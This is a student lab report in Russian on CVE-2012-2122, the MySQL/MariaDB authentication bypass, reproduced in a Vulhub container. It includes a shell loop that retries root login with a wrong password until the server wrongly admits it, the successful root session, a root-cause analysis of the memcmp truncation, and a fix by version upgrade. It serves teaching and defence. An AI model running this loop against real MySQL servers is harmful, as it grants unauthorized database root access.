

Федеральное государственное автономное
образовательное учреждение высшего образования
«Национальный исследовательский университет ИТМО»

Информационная безопасность

Лабораторная работа №2

**"Анализ и устранение уязвимости на примере реального CVE с
использованием Vulhub"**

Выполнил:

Федоров Евгений Константинович

Группа: Р3410

Санкт-Петербург, 2026

Содержание

Выбранное CVE и ее описание	2
Запуск уязвимого окружения и воспроизведение атаки	2
Анализ root cause	3
Цепочка аутентификации	3
Алгоритм входа:.....	3
Описание примененного исправления.....	4
Проверка отсутствия уязвимости после поднятия версии mysql.....	4
Проверка, что основная функциональность (в виде авторизации) не задета после исправлений.....	6

Выбранное CVE и ее описание

CVE-2012-2122 - обход аутентификации в СУБД MySQL / MariaDB (MySQL Authentication Bypass). Уязвимость позволяет удалённо войти под любым пользователем (в частности, root), не зная пароля, достаточно многократно повторять попытки соединения с произвольным неверным паролем: из-за дефекта в проверке криптографического токена часть попыток ошибочно признаётся успешной.

Запуск уязвимого окружения и воспроизведение атаки

1. Запуск docker compose файла с уязвимым образом
 - a. Файл docker-compose:

```
version: '2'
services:
  mysql:
    image: vulhub/mysql:5.5.23
    ports:
      - "3306:3306"
```

- b. Запуск контейнера:

```
e.k.fedorov@macbook-C75WXW2W6V information_security_lab_2 % docker compose up --build
WARN[0000] /Users/e.k.fedorov/labs/security_labs/information_security_lab_2/docker-compose.yml: the attribute `version` is obsolete, it will be ignored, please remove
it to avoid potential confusion
[+] Running 3/0
  ✓ Network information_security_lab_2_default                  Created    0.0s
  ✓ Container information_security_lab_2-mysql-1               Created    0.0s
  ! mysql The requested image's platform (linux/amd64) does not match the detected host platform (linux/arm64/v8) and no specific platform was requested 0.0s
Attaching to mysql-1
mysql-1 | 260927 12:38:10 mysqld_safe Logging to '/usr/local/mysql/data/4f845abcd044.err'.
mysql-1 | 260927 12:38:10 mysqld_safe Starting mysqld daemon with databases from /usr/local/mysql/data
```

2. Выполнение скрипта с попытками входа в базу данных с неправильным паролем
 - a. Скрипт:

```
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done
```
 - b. Запуск скрипта:

```
ERROR 1045 (28000): Access denied for user 'root'@'192.168.65.1' (using password: YES)
mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR 1045 (28000): Access denied for user 'root'@'192.168.65.1' (using password: YES)
mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR 1045 (28000): Access denied for user 'root'@'192.168.65.1' (using password: YES)
mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR 1045 (28000): Access denied for user 'root'@'192.168.65.1' (using password: YES)
mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR 1045 (28000): Access denied for user 'root'@'192.168.65.1' (using password: YES)
mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR 1045 (28000): Access denied for user 'root'@'192.168.65.1' (using password: YES)
mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR 1045 (28000): Access denied for user 'root'@'192.168.65.1' (using password: YES)
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 459
Server version: 5.5.23 Source distribution

Copyright (c) 2000, 2026, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select version()
-> ;
+-----+
| version() |
+-----+
| 5.5.23    |
+-----+
1 row in set (0.00 sec)

mysql>
```

1. Клиент - сервер: запрос входа пользователем root.
 2. Сервер - клиент: соль - случайное 20-байтовое число (новое каждый раз, поэтому перехваченный ранее токен повторно не примут).
 3. Клиент: вычисляет токен = $f(\text{пароль}, \text{соль})$ и отправляет его.
 4. Сервер: по хранимому отпечатку пароля и той же соли вычисляет ожидаемый токен.
 5. Сервер: сравнивает ожидаемый и присланный токены (20 байт) в функции `check_scramble`: равны - вход разрешён, иначе - «Access denied».
- Сравнение выполняет `memcmp` - стандартная функция C «сравнить две области памяти байт в байт». Договорённость: 0 - данные равны, не ноль -

различаются; какое именно «не ноль» - стандарт не фиксирует (быстрые реализации сравнивают сразу блоками по 4–8 байт и возвращают величину разницы, например 256).

Дефект - в возврате результата этой функции из `check_scramble()`:

```
typedef char my_bool; // 1 байт
return memcmp(expected, received, 20); // int (4 байта) -> char (1 байт)
```

При записи 4-байтового числа в 1-байтовую переменную `C` отбрасывает старшие байты - остаётся остаток от деления на 256.

Цепочка ошибки при неверном пароле:

1. токены различаются - `memcmp` возвращает, например, 256;
2. усечение `int` - `char`: $256 - 0$;
3. 0 от `check_scramble()` означает «токены равны» - вход разрешён с неверным паролем.

Разница кратна 256 примерно в одной попытке из 256 - с той же частотой сравнение лжёт, поэтому атака сводится к циклу попыток с любым паролем. Проявление зависит от реализации `memcmp` на платформе.

Описание примененного исправления

Проверка отсутствия уязвимости после поднятия версии `mysql`

Способом исправления данной уязвимости является поднятие версии `mysql` с 5.5.23

1. Исправленный файл `fix/docker-compose.yml`:

```
services:
  mysql:
    image: mysql:5.5.62
    platform: linux/amd64
    container_name: mysql_fixed
    environment:
      MYSQL_ROOT_PASSWORD: mypass
    ports:
      - "3305:3306"
```

- a. Запуск исправленного `docker-compose`:

```
mysql_fixed | 268927 13:36:06 [Warning] 'proxies_priv' entry '@ root@3ac1479949f' ignored in --skip-name-resolve mode.
mysql_fixed |
mysql_fixed | 268927 13:36:06 [Note] mysqld: Normal shutdown
mysql_fixed |
mysql_fixed | 268927 13:36:06 [Note] Event Scheduler: Purging the queue. 0 events
mysql_fixed | 268927 13:36:06 [Note] InnoDB: Starting shutdown...
mysql_fixed | 268927 13:36:08 [Note] InnoDB: Shutdown completed; log sequence number 1595675
mysql_fixed | 268927 13:36:08 [Note] mysqld: Shutdown complete
mysql_fixed |
mysql_fixed |
mysql_fixed | MySQL init process done. Ready for start up.
mysql_fixed |
mysql_fixed | 268927 13:36:08 [Note] --secure-file-priv is set to NULL. Operations related to importing and exporting data are disabled
mysql_fixed | 268927 13:36:08 [Note] mysqld (mysqld 5.5.62) starting as process 1 ...
mysql_fixed | 268927 13:36:08 [Note] Plugin 'FEDERATED' is disabled.
mysql_fixed | 268927 13:36:08 [Note] InnoDB: The InnoDB memory heap is disabled
mysql_fixed | 268927 13:36:08 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
mysql_fixed | 268927 13:36:08 [Note] InnoDB: Compressed tables use zlib 1.2.11
mysql_fixed | 268927 13:36:08 [Note] InnoDB: Using Linux native AIO
mysql_fixed | 268927 13:36:08 [Note] InnoDB: Initializing buffer pool, size = 128.0M
mysql_fixed | 268927 13:36:08 [Note] InnoDB: Completed initialization of buffer pool
mysql_fixed | 268927 13:36:08 [Note] InnoDB: highest supported file format is Barracuda.
mysql_fixed | 268927 13:36:08 [Note] InnoDB: Waiting for the background threads to start
mysql_fixed | 268927 13:36:09 [Note] InnoDB: 5.5.62 started; log sequence number 1595675
mysql_fixed | 268927 13:36:09 [Note] Server hostname (bind-address): '0.0.0.0'; port: 3306
mysql_fixed | 268927 13:36:09 [Note] - '0.0.0.0' resolves to '0.0.0.0'.
mysql_fixed | 268927 13:36:09 [Note] Server socket created on IP: '0.0.0.0'.
mysql_fixed | 268927 13:36:09 [Warning] 'proxies_priv' entry '@ root@3ac1479949f' ignored in --skip-name-resolve mode.
mysql_fixed | 268927 13:36:09 [Note] Event Scheduler: Loaded 0 events
mysql_fixed | 268927 13:36:09 [Note] mysqld: ready for connections.
mysql_fixed | Version: '5.5.62' socket: '/tmp/mysql.sock' port: 3306 MySQL Community Server (GPL)
```

2. Проверка работоспособности исправления:

- a. Скрипт для обхода авторизации:

```
for i in `seq 1 1000` ; do mysql -uroot -pwrongpass -h 127.0.0.1 -P3305 --ssl-mode=DISABLED; done 2>&1
```

б. Вывод после запуска скрипта:

[illegible]

За 1000 итераций не было ни одной успешной попытки входа. Количество итераций можно многократно увеличить, но успешных попыток не будет.

Описание исправления уязвимости

Было решено спрашивать у тетстр только «равно / не равно» и уже этот ответ записывать:

```
return test(memcmp(expected, received, 20) == 0); // результат - строго 0 или 1
```

Выражение `== 0` даёт только 0 или 1 - числа, которые в один байт помещаются целиком, поэтому последующее преобразование ничего исказить не может, ни при какой реализации `memcmp`.

Проверка, что основная функциональность (в виде авторизации) не задета после исправлений

Попробуем зайти в аккаунт с правильным паролем, используя «исправленный» образ базы данных:

```
e.k.fedorov@macbook-C75WXW2W6V information_security_lab_2 % mysql -uroot -pmypass -h 127.0.0.1 -P3305 --ssl-mode=DISABLED;
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.5.62 MySQL Community Server (GPL)

Copyright (c) 2000, 2026, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select version()
      -> ;
+-----+
| version() |
+-----+
| 5.5.62    |
+-----+
1 row in set (0.00 sec)

mysql> █
```